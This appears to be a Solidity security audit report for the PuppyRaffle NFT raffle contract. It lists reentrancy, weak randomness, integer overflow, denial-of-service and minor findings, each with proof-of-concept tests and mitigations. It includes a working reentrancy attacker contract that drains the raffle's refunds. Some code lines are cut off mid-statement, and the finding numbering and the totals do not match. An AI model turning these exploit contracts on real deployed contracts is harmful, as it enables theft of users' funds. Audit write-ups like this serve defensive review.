Protocol Audit Report

Juan Pedro Ventura

October 28, 2024

Prepared by: Fishy Lead Auditors: - Juan Pedro Ventura (Fishy)

Table of Contents

Protocol Summary:

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
    1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The Juan Pedro Ventura team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit details

- Commit Hash: 2a47715b30cf11ca82db148704e67652ad679cd8

Scope

```
./src/
#-- PuppyRaffle.sol
```

Roles

```
Owner - Deployer of the protocol, has the power to change the wallet address to which fees a
Player - Participant of the raffle, has the power to enter the raffle with the ‘enterRaffle'
```

Executive Summary

I spend 5 hours on this audit, using the following tools:

- Foundry test suite
- Cast
- Anvil
- slither
- deryan

Issues found

Severity	Number of issues found
High	3
Medium	3
Low	1
Info	7
Gas	2
Total	16

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance

Description: The `PuppyRaffle::refund` function allows does not follow CEI (Checks Effects Interactions) and as a result, enables participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address and only after making that external call do we update the `PuppyRaffle::players` array.

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is no

@>          payable(msg.sender).sendValue(entranceFee);
@>          players[playerIndex] = address(0);

        emit RaffleRefunded(playerAddress);
    }
```

A player who has entered the raffle could have a `fallback/receive` function that calls `PuppyRaffle::refund` function again and claim another refund. They could continue the cycle till the contract balance is drained.

Impact: All fees paid by raffle entrants could be drained by a malicious participant.

Proof of Concept:

1. User enters the raffle
2. Attacker sets up a contract with a `fallback/receive` function that calls `PuppyRaffle::refund` function

3. Attacker enters the raffle
4. Attacker calls `PuppyRaffle::refund` from their attack contract, draining the contract balance

Proof of Code:

Code

place the following test into `PuppyRaffle.t.sol`.

```
    function test_reentrancyRefund() public {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);


        ReentrancyAttacker reentrancyAttacker = new ReentrancyAttacker(puppyRaffle);
        address attackUser = makeAddr("attackUser");
        vm.deal(attackUser, 1 ether);

        uint256 startingAttackerBalance = address(reentrancyAttacker).balance;
        uint256 startingContractBalance = address(puppyRaffle).balance;

        // attack
        vm.prank(attackUser);
        reentrancyAttacker.attack{value: entranceFee}();

        console.log("Starting attacker contract balance: ", startingAttackerBalance);
        console.log("Starting contract balance: ", startingContractBalance);

        console.log("ending attacker contract balance: ", address(reentrancyAttacker).balanc
        console.log("ending contract balance: ", address(puppyRaffle).balance);
    }
```

And this contract as well:

```
    contract ReentrancyAttacker {
        PuppyRaffle puppyRaffle;
        uint256 entranceFee;
        uint256 attackerIndex;

        constructor(PuppyRaffle _puppyRaffle) {
            puppyRaffle = _puppyRaffle;
            entranceFee = puppyRaffle.entranceFee();
        }
```

```
        function attack() external payable {
            address[] memory players = new address[](1);
            players[0] = address(this);
            puppyRaffle.enterRaffle{value: entranceFee}(players);

            attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
            puppyRaffle.refund(attackerIndex);
        }

        function _stealMoney() internal {
        if(address(puppyRaffle).balance >= entranceFee) {
                puppyRaffle.refund(attackerIndex);
            }
        }

        fallback() external payable {
            _stealMoney();
        }

        receive() external payable {
            _stealMoney();
        }
    }
```

Recommended Mitigation: To prevent this, we should have the `PuppyRaffle::refund` function update the `players` array before making the external call. Additionally, we should move the event emission up as well.

```
    function refund(uint256 playerIndex) public {}
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is no


+       players[playerIndex] = address(0);
+       emit RaffleRefunded(playerAddress);

        payable(msg.sender).sendValue(entranceFee);

-       players[playerIndex] = address(0);
-       emit RaffleRefunded(playerAddress);
    }
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence or predict the winning puppy

Description: The `PuppyRaffle::selectWinner` Hashing `msg.sender`, `block.timestamp`, and `block.difficulty` creates a predictable find number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Note: This additionally means users could front-run this function and call `refund` if they see they are not the winner.

Impact: Any user can influence the winner of the raffle, winning the money and selecting the rarest puppy. Making the entire raffle worthless if it becomes a gas war as to who wins the raffles.

Proof of Concept:

1. Validatiors can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. See the solidity blog on prevrando. `block.difficulty` was recently replaced with prevrando.
2. User can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner!
3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Using on-chain values as a randomness seed is a well-documented attack vector in the blockchain space.

Reccomended Mitigation: Cosider using a cryptographically secure random number generator like Chainlink VRF v2.

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In solidity version prior to `0.8.0` integers were subject to integer overflows.

```
uint64 myVar = type(uint64).max;
// 18446744073709551615
myVar = myVar + 1;
// myVar will be 0
```

Impact: The 'PuppyRaffle::selectWinner, `totalFees` are accumulated for the `feeAddress` to collet later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanetly stuct in the contract.

Proof of Concept:

1. We conclude a raffle of 4 players
2. We then have 89 players enter a new raffle, and conclude the raffle
3. `totalFees` will be:

```
totalFees = totalFees + uint64(fee);
// aka
totalFees = 800000000000000000 + 1780000000000000000;
// and this will overflow!
totalFees = 153255926290448384
```

Code

```
function test_feesCanOverflow() public playersEntered{
    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);

    puppyRaffle.selectWinner();

    uint256 startingFees = puppyRaffle.totalFees();

    uint256 playersNum = 89;
    address[] memory players = new address[](playersNum);
    for (uint256 i = 0; i < playersNum; i++) {
        players[i] = address(i);
    }
    puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);

    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);

    puppyRaffle.selectWinner();

    uint256 endingFees = puppyRaffle.totalFees();

    console.log("starting fees: ", startingFees);
    console.log("ending fees: ", endingFees);

    assert(endingFees < startingFees);
}
```

4. you will not be able to withdraw, due to the line in `PuppyRaffle::withdrawFees`:

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently p
```

Althought you could use `selfDestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not the intended design of the protocol. some point, there will be too much `balance` in the contract that above ‘`require` will be impossible to hit.

Reccomended Mitigation:

1. Use a newer version of solidity, and a `uint256` instead of `uint64`for `PuppyRaffle::totalFees`
2. You could also use `SafeMath` library of openzeppelin to prevent overflows.
3. Remove the balance check of ‘`PuppyRaffle::withdrawFees`

```
-       require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are curren
```

There are more attack vectors with that final require, so we recommend removing it regardless.

Medium

[M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potencial denail of service (Dos) attack, incrementing gas costs for future entrants

Description: The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. However, the longer the `PuppyRaffle::players` array is, the more checks a new player will have to make. This means the gas costs for players who enter right when the raffle starts will be dramatically lower than those who enter later. Every additional address in the `players` array, is an additional check the loop will have to make.

```
    for (uint256 i = 0; i < players.length - 1; i++) {
//@>    @audit Dos attack
        for (uint256 j = i + 1; j < players.length; j++) {
            require(players[i] != players[j], "PuppyRaffle: Duplicate player");
        }
    }
```

Impact: The gas costs for raffle entrants will greatly increase as more player players enter the raffle. Discouraging later users from entering, and causing a rush at the start of the raffle to be one of the first entrants in the queue.

An attacker might make the `PuppyRaffle::entrants` array so big, that no one else enters, guarenteeing themselves the win.

Proof of Concept:

If we have 2 sets of 100 players enter, the gas costs will be as such:

- 1st 100 players: ~6252048 gas
- 2nd 100 players: ~18068138 gas

This is almost 3x more expensive for the second 100 players.

PoC

Place the following test into `PuppyRaffle.t.sol`.

```
        function test_denailOfService() public {

        vm.txGasPrice(1);

        uint256 playersNum = 100;
        address[] memory players = new address[](playersNum);
        for(uint256 i = 0; i < playersNum; i++) {
            players[i] = address(uint160(i));
        }

        uint256 gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players.length}(players);
        uint256 gasEnd = gasleft();

        uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
        console.log("Gas cost of the first 100 players: ", gasUsedFirst);

        address[] memory playersTwo = new address[](playersNum);
        for(uint256 i = 0; i < playersNum; i++) {
            playersTwo[i] = address(uint160(i + playersNum));
        }

        uint256 gasStartTwo = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * playersTwo.length}(playersTwo);
        uint256 gasEndTwo = gasleft();

        uint256 gasUsedSecond = (gasStartTwo - gasEndTwo) * tx.gasprice;
        console.log("Gas cost of the second 100 players: ", gasUsedSecond);

        assert(gasUsedFirst <  gasUsedSecond);

    }
```

Recommended Mitigation: There are a few recomendations.

1. Consider allowing duplicates. Users can make new wallet addresses anyways, so a duplicate check doesn't prevent the same person from entering multiple times. only the same wallet address.
2. Consider using a mapping instead of an array. Mappings are more gas efficient.

[M-3] Smart contract wallets raffle winners without a `receive` or a `fallback` function will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that

rejects payment, the lottery would not be able to restart.

Users could easily call the `selectWinner` function again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset could get very challenging.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, making a lottery reset difficult.

Also, true winners would not get paid out and somenone else could take their money!

Proof of Concept: 1. 10 smart contract wallets enter the lottery without a fallback or receive function. 2. The lottery ends. 3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few recomendations.

1. Do not allow smart contract wallet entrats(not recommended)
2. Create a mapping of addresses -> payout so winners can pull their funds out themself with a new `claimPrize`, putting the owners on the winner to claim theri prize. (Recommended)

   Pull over Push

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle.

Description: If a player in the `PuppyRaffle::players` array at index 0, this will return 0, but according to the netspec, it will also return 0 if the player is not in the array.

```
    function getActivePlayerIndex(address player) external view returns (uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
@>        return 0;
    }
```

Impact: A player at index 0 to incorrectly think they have not entered the raffle, and attempt to enter the raffle again, wasting gas.

Proof of Concept:

1. User enters the raffle, they are the first entrant
2. `PuppyRaffle::getActivePlayerIndex` returns 0

3. user thinks they have not entered correctly, due the protocol documentation.

Recommended Mitigation: The easiest recommendation would be to revert if the player is not in the array, instead of returning 0.

You could also reserve the 0th postion for any competition, but a better solution might be to return an `int256` where the funtion returns -1 if the player is not active.

Gas

[G-1] Unchanged state variables should be declared constant or immutable.

Reading from storage is more expensive than reading from immutable or constant.

Instances: - `PuppyRaffle::raffleDuration` should be `immutable` - `PuppyRaffle::commonImageUri` should be `constant` - `PuppyRaffle::rareImageUri` should be `constant` - `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Storage variables on a loop should be cached

Everytime you call `players.length`, it will read from storage, as opposed to memory, which is more gas efficient.

```
+       uint256 playersLength = players.length;
-       for (uint256 i = 0; i < players.length - 1; i++) {
+       for (uint256 i = 0; i < playersLength - 1; i++) {
-           for (uint256 j = i + 1; j < players.length; j++) {
+           for (uint256 j = i + 1; j < playersLength; j++) {
                require(players[i] != players[j], "PuppyRaffle: Duplicate player");
            }
        }
```

Informational/Non-Crits

[I-1] Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

[I-2] Using an outdated version of Soldity is not recommended

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Plase see slither documentation for more information.

[I-3] Missing checks for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 71

```
        feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 223

```
        feeAddress = newFeeAddress;
```

[I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is not a best practice

It's best to keep code clean and follow CEI (Checks, Effects, Interactions).

```
+       _safeMint(winner, tokenId);
        (bool success,) = winner.call{value: prizePool}("");
        require(success, "PuppyRaffle: Failed to send prize pool to winner");
-        _safeMint(winner, tokenId);
```

[I-5] Use of "magin" numbers is discouraged

It can be confusing to see number literals in a codebase, and it's much more redable if the numbers are given a name.

Examples:

```
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead, you could use:

```
    uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
    uint256 public constant FEE_PERCENTAGE = 20;
    uint256 public constant POOL_PRECISION = 100;
```

[I-6] State changes are missing events

[I-7] `PuppyRaffle::_isActivePlayer` is never used and should be removed